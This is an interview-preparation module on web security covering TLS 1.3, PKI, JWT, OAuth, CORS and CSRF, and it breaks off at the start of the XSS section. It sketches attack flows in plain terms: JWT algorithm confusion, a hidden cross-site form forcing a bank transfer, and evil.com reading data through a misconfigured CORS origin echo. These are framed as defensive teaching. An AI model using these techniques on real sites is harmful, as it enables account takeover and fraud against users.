

SENIOR SWE INTERVIEW SERIES

Module 9: Security (TLS, PKI, JWT, OAuth, CORS, CSRF, XSS)

Interview-focused networking, as asked at Google, Meta, Amazon, Microsoft, Uber, Netflix, Cloudflare, Stripe, LinkedIn & Cisco

Part of: Computer Networking for Senior Software Engineer Interviews

Built July 02, 2026

MODULE 9 — Security (TLS, PKI, JWT, OAuth, CORS, CSRF, XSS)

*Security questions in backend interviews are practical: “walk the TLS handshake,” “how do you do auth between services,” “explain CORS to a junior who’s cargo-culting *.” Depth on TLS 1.3 + token security is the differentiator.*

Topic 9.1 — TLS Handshake

1. Why Interviewers Ask This

The most-asked security question, period. It combines crypto concepts (key exchange, PFS), performance (RTTs — ties to Module 4), and ops (session resumption, 0-RTT). TLS 1.3 vs 1.2 differences are a freshness check.

2. Core Concept

Goal: two strangers derive shared symmetric keys over a hostile network, with the server proving its identity. Asymmetric crypto (ECDHE) bootstraps trust + key agreement; symmetric crypto (AES-GCM/ChaCha20) carries the data. **TLS 1.3: 1 RTT** (one flight each way, only ECDHE allowed → forward secrecy mandatory); TLS 1.2: 2 RTT, legacy key exchanges (static RSA — no PFS) still possible.

3. Internal Working

TLS 1.3 flow: 1. **ClientHello**: supported versions/ciphers, SNI, ALPN, **client’s ECDHE key share** (sent optimistically — this is *the* 1.3 trick that saves an RTT). 2. **ServerHello**: chosen cipher + server’s key share → both can compute the shared secret *now*; everything after ServerHello is already encrypted (including the certificate — 1.2 sent certs in plaintext; nice detail). 3. Server sends **Certificate** + **CertificateVerify** (signs the handshake transcript with the cert’s private key — proves possession; prevents replaying someone’s cert) + **Finished** (MAC over transcript — tamper-proofing the negotiation, blocks downgrade attacks). 4. Client verifies chain (→ 9.2), sends its **Finished**. Application data flows; client can actually attach data with its Finished (1-RTT to first byte). **Resumption**: server issues session tickets (encrypted state); returning client presents ticket → PSK resumption (skips cert), optionally with **0-RTT** data (replayable! idempotent-only — same caveat as QUIC).

4. Packet Flow Explanation

```
TLS 1.3 (fits in 1 RTT):
C->S: ClientHello [versions, ciphers, SNI:api.x.com, ALPN:h2, key_share]
S->C: ServerHello [key_share] {EncryptedExtensions, Certificate,
                               CertificateVerify, Finished}
C->S: {Finished} + [application data immediately]
TLS 1.2 (2 RTT): Hello exchange -> cert -> key exchange -> ChangeCipher
                  -> Finished ... one full extra round trip.
Resumed 1.3: ClientHello+ticket(+0-RTT data) -> accept -> 0-1 RTT.
```

5. ASCII Diagram

```

    asymmetric phase (expensive, once)      symmetric phase (fast, bulk)
    [ECDHE key agreement] + [cert proves    [AES-GCM w/ derived keys,
    server identity: CA-signed, transcript  per-record nonce+auth tag]
    signature]                               ==>
    forward secrecy: ephemeral ECDHE keys deleted after handshake =>
    recorded traffic can't be decrypted even if server key leaks later.
    downgrade defense: Finished MACs the whole transcript both saw.
  
```

6. Real Production Example

TLS 1.3 is ~all major-site traffic now (faster + safer); Cloudflare/Google drove deployment. The 1-RTT saving is worth 50–150ms/connection for far users — the same math that justifies edge termination (Module 4.4). Heartbleed (2014, OpenSSL memory leak exposing private keys) is the canonical “why PFS matters” story: with non-PFS RSA exchange, a leaked key retroactively decrypts recorded history; with ECDHE, it doesn't.

7. Advantages

Confidentiality + integrity + authentication with 1 RTT overhead and ~1–2% CPU (AES-NI); PFS by default (1.3); resumption amortizes handshakes to near-zero.

8. Trade-offs

Cold-start RTT + CPU for asymmetric ops (ECDSA sign ~0.1–1ms — matters at extreme handshake rates/DDoS); 0-RTT replay hazard; certificate ops burden (9.2); encrypted traffic blinds middlebox-based security teams (hence enterprise MITM proxies — with their own risks).

9. Common Mistakes

- Describing the RSA-encrypts-the-session-key handshake as current (that's legacy 1.2 static-RSA; 1.3 removed it — instant seniority check).
- “TLS encrypts with the certificate's public key” — no: certs *authenticate*; ECDHE derives the keys.
- Forgetting what Finished/transcript-MAC is for (downgrade protection).
- Ignoring resumption in latency math.

10. Performance Impact

Numbers to quote: 1.3 full = 1 RTT + ~0.5–2ms crypto; resumption ≈ 1 RTT, near-zero asymmetric cost; 0-RTT = 0 RTT; symmetric bulk ≈ 1–3 GB/s/core AES-GCM. Handshake-rate limits (~thousands of full handshakes/core/s) are why TLS-terminating LBs get CPU-sized by *new-connection rate*, not bandwidth.

11. Common Interview Questions

1. Walk TLS 1.3 step-by-step; what changed vs 1.2 and why is it 1 RTT?
2. What is forward secrecy, mechanically?
3. How does resumption work; what's dangerous about 0-RTT?

12. Follow-up Questions

- “How does the client know the server isn't replaying a stolen cert?” → CertificateVerify signs *this* handshake's transcript — needs the private key live.

- “Why is SNI a privacy leak, and the fix?” → plaintext hostname in ClientHello; ECH encrypts it (key via DNS/HTTPS records).
- “mTLS — what’s added?” → server requests client cert; client sends cert + its own CertificateVerify; both sides authenticated (service mesh standard).

13. Debugging Scenarios

- `openssl s_client -connect h:443 -servername h -tls1_3` → inspect negotiated version/cipher/chain/ALPN.
- Handshake failures for some clients only: cipher/version mismatch (old Android vs 1.3-only), missing intermediate cert, SNI-less clients getting default vhost cert. Capture: `ClientHello` visible in plaintext — check what the client offers.

14. Best Practices

TLS 1.3 preferred + 1.2 fallback (no lower); ECDSA certs (smaller/faster) with RSA fallback chains; enable tickets w/ rotating keys (ticket-key compromise = silent mass decryption — rotate!); 0-RTT only for idempotent routes; terminate near users, resume aggressively.

15. Practice Questions

1. Compute first-byte latency for Sydney → Virginia (RTT 200ms): cold h1+TLS1.2 vs h2+TLS1.3 vs resumed h3 0-RTT. (~600 vs 400 vs ~200ms; plus edge-termination variant ~ tens of ms.)
2. Your TLS-terminating fleet CPU saturates during a reconnect storm though bandwidth is low. Explain and fix. (Asymmetric handshake cost dominates; enable resumption across fleet — shared/sticky ticket keys, rate-limit/queue new handshakes, session cache.)

Topic 9.2 — Certificates & PKI

1. Why Interviewers Ask This

“Why should I trust this cert?” tests whether you understand the trust chain end-to-end — and cert expiry is a top-tier real outage cause (interviewers mine it for ops judgment).

2. Core Concept

An X.509 certificate binds a **public key** to an **identity** (domain via SAN), signed by a **CA**. Trust is a chain: leaf ← intermediate(s) ← root (root pre-installed in OS/browser trust stores, kept offline). PKI = the machinery: CAs, issuance validation, expiry, revocation, transparency logs.

3. Internal Working

- Verification steps a client runs: build chain to a trusted root → check signatures at each link → validity dates → **SAN matches hostname** → not revoked (OCSP/CRL — practically: OCSP stapling or browser CRLSets) → (browsers) present in **Certificate Transparency** logs (public append-only logs; mis-issued certs become detectable — CT is a great senior talking point).
- Issuance (ACME/Let’s Encrypt): prove control via HTTP-01 (token at `/.well-known/acme-challenge/`) or **DNS-01** (TXT record — required for wildcards) → CA signs a short-lived (90-day) cert. Short lifetimes are a *feature*: bounded compromise window, forces automation.

- Key detail: the CA never sees your private key — you send a CSR (public key + identity), CA signs it.

4. Packet Flow Explanation

```
server presents: [leaf: api.x.com] + [intermediate CA] (never the root)
client: leaf.signature verified with intermediate's pubkey
      intermediate.signature verified with root's pubkey (in trust store)
      SAN contains api.x.com? dates ok? OCSP staple fresh? CT SCTs ok?
      => trust the leaf's public key => proceed with CertificateVerify
MISSING INTERMEDIATE = the classic bug: works in Chrome (caches/fetches
intermediates via AIA), fails in curl/Java/python => "some clients" failures.
```

5. ASCII Diagram

```
[Root CA]  offline, in trust stores, 20yr
  | signs
[Intermediate CA]  online issuance, revocable blast-radius layer
  | signs
[Leaf: SAN=api.x.com]  90d (LE) / <=398d max, your private key
mTLS/internal: your own [Private Root] -> [SPIFFE-style leaf per service,
TTL hours] - identity for services, rotation fully automated
```

6. Real Production Example

Expired-cert outages are legion (Microsoft Teams 2020, Spotify, many banks) — hence automation-or-death. Let's Encrypt (2015→) moved the web from ~40% to ~95%+ HTTPS by making issuance free/automated. DigiNotar (2011, CA breached, rogue google.com certs used to spy) → led to CT logs; Symantec CA distrust (2017) shows roots can be *removed* — trust is revocable at ecosystem level.

7. Advantages

Global-scale trust without pre-shared secrets; layered chain limits blast radius (compromised intermediate ≠ root); CT makes mis-issuance auditable; ACME makes ops nearly free.

8. Trade-offs

CA system = trusted third parties (any trusted CA can technically issue for any domain — CT+CAA records mitigate); revocation remains weak (OCSP soft-fail default: attacker who can block OCSP wins → stapling helps); expiry = recurring operational tax; private PKI = you own the whole lifecycle.

9. Common Mistakes

- Serving leaf without intermediates (the “works in browser, fails in code” classic).
- Wildcard `*.x.com` misconceptions: matches one level only (not `a.b.x.com`); broad wildcards = broad blast radius on key theft.
- Believing revocation reliably works; ignoring CAA records; letting humans renew certs.

10. Performance Impact

Chain size matters: cert chain > initial cwnd (~14KB) = +1 RTT on every cold handshake (real tuning: ECDSA certs ~½ size of RSA; prune chain). OCSP stapling removes a client-side blocking lookup (up to hundreds of ms on some networks).

11. Common Interview Questions

1. Walk exactly how a client validates a certificate.
2. Root vs intermediate — why the hierarchy?
3. How does Let's Encrypt verify you own a domain? HTTP-01 vs DNS-01?

12. Follow-up Questions

- “How would you do certs for 500 internal microservices?” → private CA + short-lived (hours) auto-rotated certs, SPIFFE identities, mesh handles distribution — never manual.
- “What stops a rogue CA from issuing google.com?” → nothing cryptographic! CT logs (detection), CAA DNS records (policy), browser CA programs (punishment) — trust is institutional, and saying so is the senior answer.
- “What's certificate pinning and its risk?” → hardcode expected key/cert; breaks rotation; mostly discouraged now except high-value mobile apps (with backup pins).

13. Debugging Scenarios

- `openssl s_client -showcerts` → chain served; `openssl x509 -noout -dates -ext subjectAltName` → expiry/SAN; `curl -vI` → verification errors.
- “Works on my machine, fails in prod container” → container image lacks updated CA bundle (trust store drift) — a real and common cause.

14. Best Practices

Automate issuance+renewal (ACME/cert-manager), alert on <21 days, monitor from *outside*; staple OCSP; CAA records; short-lived internal certs; inventory every TLS endpoint (the forgotten internal admin panel is always the one that expires).

15. Practice Questions

1. Design certificate infrastructure for a SaaS with 20k customer vanity domains (ACME DNS-01/HTTP-01 per domain, rate-limit handling, cert storage + SNI serving at edge, renewal orchestration, failure quarantine).
2. Java clients fail with `unable to find valid certification path`; browsers fine. Diagnose in 3 steps. (Missing intermediate → `s_client -showcerts` confirms → fix served chain; alternative cause: outdated JDK trust store.)

Topic 9.3 — JWT (JSON Web Tokens)

1. Why Interviewers Ask This

JWT vs session is a canonical design debate; JWT security bugs (alg:none, no-expiry, secrets in payload) are common real vulnerabilities; and **revocation** is the trap every interviewer sets.

2. Core Concept

JWT = `base64url(header).base64url(payload).signature` — a **signed** (NOT encrypted!) claims document. Header: `alg`, `kid`. Payload: claims (`sub`, `exp`, `iat`, `iss`, `aud`, custom roles/scopes).

Signature: HMAC (HS256, shared secret) or asymmetric (RS256/ES256 — issuer signs with private key, *anyone verifies with public key*: this asymmetry is what makes JWTs scale across services).

3. Internal Working

- Verification (local, no network!): parse → check `alg` against allowlist → fetch issuer's public key by `kid` from cached **JWKS** endpoint → verify signature over header.payload → validate `exp/nbf/iss/aud`. Cost ~50–200µs — vs a session-store lookup (~0.5–1ms + a dependency).
- The **stateless trade**: no server-side record → nothing to check per request → *nothing to revoke*. A stolen/obsolete token is valid until `exp`. Industry resolution: **short-lived access tokens (5–15 min) + long-lived refresh tokens (stored server-side, revocable)** — revocation latency = access-token TTL. Plus optional denylist (jti) for true instant kill (reintroduces state — say the trade explicitly).
- Storage in browsers: localStorage = XSS-stealable; `HttpOnly Secure SameSite` cookie = XSS-resistant but CSRF-relevant (→ 9.5/9.6 interplay — interviewers love asking this pairing).

4. Packet Flow Explanation

```
login: creds -> auth service -> RS256-signed JWT {sub:42, roles, exp:+15m}
      + refresh token (opaque, stored server-side, 30d)
API call: Authorization: Bearer eyJ...
gateway/service: JWKS cached -> verify sig+exp+aud locally (0 net hops)
t+15m: 401 -> client: POST /token {refresh} -> rotation: new access +
      NEW refresh (old one invalidated; reuse of old = theft signal -> kill family)
logout/compromise: revoke refresh (server-side) => max exposure 15m,
      or jti-denylist for instant.
```

5. ASCII Diagram

```
header {alg:RS256,kid:k1} . payload {sub,exp,aud,...} . signature
base64url ENCODED != ENCRYPTED – anyone can READ claims; only issuer
can MINT (private key); everyone can VERIFY (public key via JWKS).
sessions: [cookie: sid] -> store lookup / request | instant revoke
JWT:      [bearer]      -> local verify         | revoke = wait exp
hybrid (the answer): 5-15m JWT + revocable refresh + rotation
```

6. Real Production Example

OIDC id_tokens are JWTs (Google/Auth0/Okta sign-in); Kubernetes ServiceAccount tokens are JWTs; API gateways verify JWTs at edge (Module 6.3/7.2). Famous vuln classes: `alg:none` acceptance (libraries that trusted the header), RS256 → HS256 confusion (verify HMAC using the *public* key as secret — attacker who knows the public key mints tokens) — name these; they're standard interview material.

7. Advantages

Stateless horizontal-scale verification (no auth-service hot path, works across services/regions); claims travel with the request (authz data locality); cross-domain friendly (mobile, third-party); standard tooling everywhere.

8. Trade-offs

Revocation gap (the big one); token size (500B–2KB in every request header — vs 32B session cookie; fat role claims bloat every call); claims go stale until refresh (role change lag); key management (JWKS rotation, kid rollover); readable payload (no secrets inside!).

9. Common Mistakes

- “JWTs are encrypted” (base64 ≠ encryption; JWE exists but is rare).
- No `exp` /years-long tokens; secrets or PII in claims; `alg` from attacker-controlled header honored; missing `aud` check (token for service A replayed at service B — audience confusion).
- localStorage without weighing XSS; refresh tokens without rotation/reuse detection.

10. Performance Impact

Local verify saves ~0.5–1ms + a network dependency per request vs session lookup — at 100k RPS that's a Redis cluster you don't need. But +1KB/request headers ≈ real bandwidth on chatty APIs (h2 HPACK mitigates repeats). JWKS fetch: cache with TTL + kid-based rollover to avoid rotation outages.

11. Common Interview Questions

1. JWT vs server-side sessions — full trade-off table, then the hybrid answer.
2. “User's token is stolen — walk your response.” (Short TTL bounds it; revoke refresh family; optional jti denylist; detect via refresh-reuse.)
3. HS256 vs RS256 — when each? (Shared-secret single-issuer=HS fine; multi-service verify=RS/ES so verifiers hold no minting power.)

12. Follow-up Questions

- “Where do you put it in a browser app and why?” → HttpOnly SameSite cookie + CSRF strategy, vs localStorage + XSS exposure — argue, pick cookie for most cases.
- “How do services trust claims without calling auth?” → signature + iss/aud + short exp; that is the design.
- “Key rotation without an outage?” → publish new key in JWKS alongside old (kid), start signing with new, retire old after max token TTL.

13. Debugging Scenarios

- Random 401s after auth deploy → JWKS cache staleness vs new kid; fix overlap-publication.
- Valid-looking token rejected: clock skew (`exp/nbf` — allow 30–60s leeway), wrong `aud`, proxy stripping the Authorization header (nginx `underscores_in_headers`, ALB header size limits).

14. Best Practices

RS256/ES256 with kid+JWKS; `exp` ≤15m; `aud`+`iss` always validated; `alg` allowlist; refresh rotation + reuse detection; HttpOnly cookies for browsers; claims = identifiers not data; never sensitive data in payload.

15. Practice Questions

1. Design auth for mobile + web + 3rd-party API consumers with one auth service: token types, TTLs, storage per client, revocation story, key rotation.
2. A pentest reports your API accepts a token minted with your *public* key. Explain the exact vulnerability. (RS256 → HS256 alg-confusion: server ran HMAC-verify with the public key as the shared secret; fix: pin expected alg per key.)

Topic 9.4 — OAuth 2.0 (High Level)

1. Why Interviewers Ask This

“Design Sign in with Google” / “let a 3rd-party app access user data without the password” — OAuth is the standard answer, and the **authorization-code + PKCE** flow is the expected default. Interviewers check flow understanding, not spec trivia.

2. Core Concept

OAuth 2.0 = **delegated authorization**: user grants a *client app* scoped access to their resources at a *resource server*, brokered by an *authorization server* — password never touches the app. Four roles: resource owner (user), client (app), authorization server (Google), resource server (Google APIs). **OIDC** = identity layer on top (adds `id_token` JWT = “who the user is”) — OAuth authorizes, OIDC authenticates; conflating them is the classic mistake.

3. Internal Working

Authorization Code + PKCE (the one flow to know cold): 1. App generates random `code_verifier`, sends user to auth server with `code_challenge = SHA256(verifier)`, `client_id`, `redirect_uri`, `scope`, `state` (CSRF nonce). 2. User authenticates *at the auth server* and consents. 3. Auth server redirects back with a one-time **authorization code** (via browser — untrusted channel, hence short-lived, single-use). 4. App exchanges code + `code_verifier` (+ `client_secret` if confidential) **server-to-server** for access token (+ refresh token, + `id_token` if OIDC). PKCE closes the code-interception hole (mobile apps can't hold secrets; stolen code is useless without the verifier). The **implicit flow (token in URL fragment)** is **deprecated** — tokens leaked via history/referrer; say so. Client-credentials flow = machine-to-machine (no user).

4. Packet Flow Explanation

```
1. app -> browser redirect: authserver/authorize?client_id&scope=email
  &redirect_uri&state=xyz&code_challenge=H(v)
2. user logs in AT AUTH SERVER (password never seen by app), consents
3. authserver -> browser redirect: app/callback?code=AC123&state=xyz
  (app verifies state == xyz <- CSRF defense on the callback)
4. app server -> authserver: POST /token {code:AC123, code_verifier:v,
  client_id, client_secret} <- back channel, TLS
5. <- {access_token(15m), refresh_token, id_token(JWT)}
6. app -> resource server: Bearer access_token (scoped: email only)
```

5. ASCII Diagram

```
[user] --auth+consent--> [AUTH SERVER] --code(front channel/browser)-->
[app backend] --code+verifier+secret(back channel)--> [AUTH SERVER]
<-- tokens --
[app] --bearer--> [RESOURCE SERVER (validates token, enforces scope)]
front channel = untrusted (only short-lived code travels there)
back channel = trusted (tokens only here) <- the core design idea
OIDC adds: id_token (JWT: who) ; OAuth alone: access (what you may do)
```

6. Real Production Example

“Sign in with Google/GitHub/Apple” (OIDC); every marketing/CI tool accessing your GitHub/Slack via scoped tokens; Kubernetes OIDC auth; internal SSO (Okta) issuing tokens that gateways verify (ties to

9.3/6.3). Cautionary tale: apps that asked for overly-broad scopes and got breached — scope minimization is a design review item.

7. Advantages

Password isolation (phishing/breach containment); scoped + revocable + auditable delegation; centralizes MFA/policy at the auth server; standard across the industry (libraries, providers).

8. Trade-offs

Redirect choreography = real complexity (and a rich bug surface: open redirects, state omission, code replay); dependence on the IdP's availability; token/scope sprawl without governance; spec flexibility = many insecure ways to hold it (hence "OAuth 2.1" consolidating: PKCE-always, no implicit).

9. Common Mistakes

- OAuth as authentication without OIDC ("we log users in with the access token" → confused-deputy bugs; use `id_token`).
- Missing `state` (login CSRF), unvalidated `redirect_uri` (token/code exfiltration via open redirect — the most exploited OAuth bug; exact-match allowlists!), tokens in URLs.
- Using implicit flow in 2025+; storing provider tokens unencrypted.

10. Performance Impact

Login = 2–3 redirects + token exchange (~hundreds of ms, once per session). Steady-state = bearer JWT verification (9.3 economics). Token introspection (opaque tokens) adds a network hop per request — vs self-contained JWT: the same stateless-vs-revocable trade again; recognizing the recurrence scores points.

11. Common Interview Questions

1. Walk authorization-code + PKCE end-to-end, labeling front vs back channel.
2. OAuth vs OIDC? Access token vs `id_token` vs refresh token?
3. Why is the code exchanged server-side instead of tokens returned directly in the redirect?

12. Follow-up Questions

- "Why PKCE even for confidential clients?" → defense-in-depth vs code interception/injection; OAuth 2.1 mandates it.
- "How would you build 'Login with YourApp' for third parties?" → you *become* the auth server: consent screens, client registration, scope design, token issuance/rotation — a solid system-design vein.
- "Machine-to-machine?" → `client_credentials` with workload identity (or mTLS/SPIFFE instead — compare).

13. Debugging Scenarios

- `redirect_uri_mismatch`: exact-string matching vs trailing slash/env-specific URI.
- Intermittent `invalid_grant`: code reuse (double-submit on callback), clock skew, code TTL (~30–60s) expiring behind slow redirects.
- Users bounced to login loops: cookie SameSite settings breaking the callback redirect (cross-site POST callbacks + `SameSite=Lax` nuances).

14. Best Practices

Auth-code+PKCE everywhere; exact redirect_uri allowlists; state always; short code TTL; rotate refresh tokens; scope minimization + incremental consent; use vetted libraries — hand-rolled OAuth is a CVE generator.

15. Practice Questions

1. Design “Connect your Google Calendar” for a scheduling SaaS: flow, token storage (encrypted, per-user), refresh handling, scope choice, revocation webhook handling, IdP-outage behavior.
2. A partner app’s users report your “Sign in with X” logs them into *someone else’s account* intermittently. Hypothesize. (Missing/predictable state → session fixation via CSRF on callback; or callback caching. Walk the exploit and fix.)

Topic 9.5 — CORS

1. Why Interviewers Ask This

Every backend engineer has fought CORS; interviewers test whether you know *what it actually is* (a browser relaxation of same-origin policy, not a server security control) — most candidates have it conceptually backwards.

2. Core Concept

Same-Origin Policy (SOP): browser JS from origin A (scheme+host+port) can’t *read* responses from origin B. **CORS** = the server-side opt-in headers that *relax* SOP for chosen origins. Critical framing: **CORS protects users from malicious sites reading cross-origin data with their cookies** — it does **not** protect your server (curl ignores it entirely). Getting this direction right is the whole question.

3. Internal Working

- **Simple requests** (GET/POST with simple headers/content-types): sent immediately; browser checks `Access-Control-Allow-Origin` on the *response* — blocks JS from reading if absent. (NB: the request still *executed* server-side — that’s why CORS ≠ CSRF defense!)
- **Preflight:** non-simple requests (PUT/DELETE, `Authorization` header, JSON content-type) → browser first sends `OPTIONS` with `Access-Control-Request-Method/Headers` → server must answer with allowed origin/methods/headers (+ `Access-Control-Max-Age` to cache the verdict) → only then the real request.
- **Credentialed requests:** `credentials: 'include'` (cookies) requires `Access-Control-Allow-Credentials: true` AND an **exact** origin echo — the spec forbids `*` with credentials (the browser enforces it), which is exactly the foot-gun the `*`-everywhere crowd hits.

4. Packet Flow Explanation

```
app.x.com JS -> fetch PUT api.y.com/items/7 (Authorization header)
browser: preflight first:
  OPTIONS /items/7   Origin: https://app.x.com
                    Access-Control-Request-Method: PUT
                    Access-Control-Request-Headers: authorization
server:  204         Access-Control-Allow-Origin: https://app.x.com
                    Access-Control-Allow-Methods: PUT
                    Access-Control-Allow-Headers: authorization
                    Access-Control-Max-Age: 86400    (cache verdict 24h)
browser: sends real PUT; response readable by JS.
misconfig cases: no ACAO -> JS blocked (but server DID run the request
for simple methods); '*' + credentials -> browser refuses.
```

5. ASCII Diagram

```
WHO is protected: the USER's browser session, not your API.
evil.com JS --(with victim's cookies)--> bank.com/balance
  SOP: response arrives but JS CANNOT READ it <- the point of SOP/CORS
curl/postman/server-side: CORS irrelevant. Auth is your only defense.
preflight = browser asking permission BEFORE dangerous methods;
simple GET/POST skip it (=> CSRF still possible! see 9.6)
```

6. Real Production Example

Every SPA-on-app.x.com + API-on-api.x.com pair ships CORS config. Notorious misconfig class: reflecting any **Origin** header back with credentials allowed → any website can read authenticated API data of visiting users (bug-bounty staple, found at major companies). CDN caching of CORS responses without **Vary: Origin** → one origin's headers served to another.

7. Advantages

SOP is the web's core isolation primitive (without it, any tab reads your webmail); CORS gives precise, per-resource cross-origin sharing without disabling that isolation.

8. Trade-offs

Preflights add an RTT per unique request shape (mitigate: Max-Age caching, simple-shaped requests, same-site API domains); config errors fail closed (breaks your own frontend — the daily annoyance) or open (reflect-any-origin — the vulnerability); CORS complexity pushes people to ***** (dangerous with credentialed APIs).

9. Common Mistakes

- Believing CORS protects the server from attackers (it constrains *browsers only*).
- **Access-Control-Allow-Origin: *** on credentialed APIs (browser blocks; devs then reflect Origin blindly — worse).
- Forgetting **Vary: Origin** with per-origin responses behind caches; not handling OPTIONS at LB/gateway (preflights 404 → “CORS error” red herring).
- Treating a browser “CORS error” as a server failure — often the request worked; reading was blocked.

10. Performance Impact

Preflight = +1 RTT per (origin, URL-shape, headers) per Max-Age window; on 100ms RTT mobile this is real → cache 24h (86400, capped by browsers to 2h in Chrome — nice detail), or design simple requests, or serve API same-site.

11. Common Interview Questions

1. What problem do SOP and CORS solve — and *who* do they protect?
2. What triggers a preflight; walk the OPTIONS exchange.
3. Why is `*` + credentials forbidden?

12. Follow-up Questions

- “Does CORS prevent CSRF?” → No — simple requests execute anyway; CSRF needs its own defenses (9.6). (The pairing question every interviewer keeps in the chamber.)
- “How do WebSockets interact with SOP?” → WS is *not* subject to CORS! Server must validate `Origin` header itself — cross-site WebSocket hijacking if forgotten (deep-cut bonus points).
- “Why can’t evil.com just proxy the request through its server?” → it can — but without the victim’s cookies; CORS/SOP is precisely about the *browser’s ambient credentials*.

13. Debugging Scenarios

- “CORS error” in console → read the *actual* subtext: missing ACAO vs preflight failure vs credentials mismatch; check whether OPTIONS reaches the app (LBs/gateways often intercept); confirm `Vary: Origin` when responses cached.
- Works in dev (same origin via proxy), fails in prod → origins differ; environment-specific allowlists.

14. Best Practices

Explicit origin allowlist (env-configured, exact match); `Allow-Credentials` only where needed; handle OPTIONS before auth middleware (preflights carry no cookies!); `Vary: Origin`; Max-Age high; centralize CORS at gateway — per-service copies drift.

15. Practice Questions

1. SPA at app.x.com, API at api.x.com, cookies for auth: write the exact CORS response headers (including for preflight) and explain each.
2. Security review finds `Access-Control-Allow-Origin: $http_origin` (blind echo) with credentials. Write the attack (evil.com fetches /api/me with include, reads victim’s PII) and the fix.

Topic 9.6 — CSRF

1. Why Interviewers Ask This

CSRF completes the browser-security triad with CORS/XSS, and modern nuance (SameSite cookies changing the defaults) tests currency. “Do we still need CSRF tokens in 2025+?” is a live interview question.

2. Core Concept

CSRF = attacker's page makes the victim's browser send a **state-changing request to your site carrying the victim's cookies** (browsers attach cookies automatically — the “ambient authority” problem). The attacker can't *read* the response (SOP), but doesn't need to: the transfer/settings-change already happened. Targets cookie-authenticated, state-changing endpoints.

3. Internal Working

Attack shapes: auto-submitting `<form method=POST action=bank.com/transfer>` (forms are exempt from CORS!), `<img src=...GET-with-side-effects>`, top-level navigations. Defenses (layered): 1. **SameSite cookies**: **Lax** (modern default in Chrome) — cookies not sent on cross-site subrequests/POSTs, but are sent on top-level GET navigations → GETs must stay side-effect-free; **Strict** = never cross-site (breaks “arrive logged-in via external link” flows). 2. **CSRF tokens** (synchronizer): random per-session token embedded in forms/headers, verified server-side — attacker can't read it (SOP) so can't forge it. Double-submit-cookie variant for stateless services. 3. **Origin/Referer header validation**: cheap modern check — reject state-changers whose **Origin** isn't yours. 4. Not-a-defense: CORS (simple form POSTs bypass it), being-HTTPS, POST-instead-of-GET alone.

4. Packet Flow Explanation

```
victim logged into bank.com (cookie: session=abc, SameSite=None legacy)
visits evil.com -> hidden form auto-POSTs bank.com/transfer?to=attacker
browser attaches session cookie (cross-site!) -> transfer executes.
with SameSite=Lax: cookie NOT attached on that cross-site POST -> 401.
with CSRF token: POST lacks valid token (evil.com can't read it) -> 403.
with Origin check: Origin: https://evil.com != bank.com -> 403.
JWT-in-Authorization-header apps: immune to classic CSRF (nothing
auto-attached) — but that's the XSS trade (9.7). The cookie-vs-header
choice is a CSRF-vs-XSS trade: say this sentence in interviews.
```

5. ASCII Diagram

```
CSRF: browser AUTO-ATTACHES cookies; attacker forges the REQUEST
      (can't read response — doesn't need to)
defenses: SameSite=Lax (default baseline) + CSRF token or Origin check
          for anything sensitive + GETs never mutate
CORS != CSRF defense | XSS defeats ALL CSRF defenses (it can read tokens)
=> severity order: XSS > CSRF
```

6. Real Production Example

Historic classics: uTorrent (2008) RCE via CSRF to its localhost web UI; router-config CSRF changing home DNS (drive-by pharming) — both illustrate “any cookie-or-implicit-auth endpoint” is a target, including localhost daemons and IoT admin panels. Frameworks (Django/Rails/Spring) ship token middleware by default — disabled-by-a-dev is a recurring audit finding.

7. Advantages (of the defenses)

SameSite=Lax: free, browser-enforced, zero app code — killed the bulk of drive-by CSRF; tokens: airtight per-request proof-of-origin regardless of browser version; Origin checks: one middleware, stateless.

8. Trade-offs

Strict breaks legitimate cross-site entry (deep links arrive logged-out); Lax leaves top-level-GET nav → GET discipline required; tokens add state/plumbing (SPA: token endpoint + header injection) and break naive caching of forms; legacy browsers/None-cookies (needed for third-party embeds) reopen the hole.

9. Common Mistakes

- “We use CORS, so no CSRF” / “we’re HTTPS, so no CSRF” — both false.
- State-changing GETs (logout links! admin actions) — SameSite=Lax doesn’t cover top-level GET.
- Cookie `SameSite=None; Secure` sprayed everywhere to “fix” embed bugs — silently reinstating CSRF exposure.
- Assuming header-token APIs need form-CSRF machinery (they don’t — but their tokens must not also ride in cookies).

10. Performance Impact

Negligible runtime cost (token compare, header check) — this topic is about correctness; the only perf note: token-per-form breaks full-page caching (mitigate: token via separate uncached fetch/cookie).

11. Common Interview Questions

1. Explain CSRF with a concrete attack page; why can’t the attacker just use fetch+read?
2. SameSite Lax vs Strict vs None — exact semantics and what Lax still allows.
3. Is a Bearer-token SPA vulnerable to CSRF? (Classic CSRF no; but then XSS token theft is the exposure — discuss the trade.)

12. Follow-up Questions

- “Login CSRF?” → attacker logs victim into *attacker’s* account (victim’s later data lands in attacker’s account) — tokens on the login form too; `state` in OAuth is the same idea (tie to 9.4).
- “Double-submit cookie — how and what’s its weakness?” → token in cookie + header must match (stateless); weak vs subdomain cookie-injection — prefer signed tokens.

13. Debugging Scenarios

- Legit cross-site POST callbacks (payment providers, SSO) getting 403s → SameSite blocking the session cookie on the callback → dedicated `None; Secure` cookie for that flow or token-in-payload verification.
- Users “randomly logged out” arriving from email links → Strict cookies; move session to Lax + protect mutations with tokens.

14. Best Practices

Defense in depth: `SameSite=Lax` default + CSRF token or Origin-check on all mutations + no side-effect GETs + `Secure / HttpOnly` cookies; re-auth/step-up for critical actions (money, email change) — CSRF-immune by design.

15. Practice Questions

1. Audit checklist: given an endpoint list, mark CSRF-vulnerable ones (cookie-auth + mutating + no token) and fix order.

2. Your SPA uses HttpOnly cookie sessions. Design the CSRF defense concretely (Lax + per-session token exposed via `/csrf` endpoint into a custom header + Origin validation middleware; explain why each layer survives a failure of another).

Topic 9.7 — XSS (Overview)

1. Why Interviewers Ask This

XSS is the #1 web vulnerability class historically, and — as 9.6 showed — it's the failure mode that decides your token-storage architecture. Backend interviews keep it high-level: types, impact, and the layered defense.

2. Core Concept

XSS = attacker's **JavaScript executes in your origin** in the victim's browser → it is the user: read DOM/cookies (non-HttpOnly)/localStorage (JWTs!), make authenticated requests (defeating all CSRF defenses), keylog, deface. Three types: **stored** (payload persisted: comments, profiles — worst), **reflected** (payload in the URL echoed back — phishing-delivered), **DOM-based** (client-side JS sinks like `innerHTML` — server never sees it).

3. Internal Working

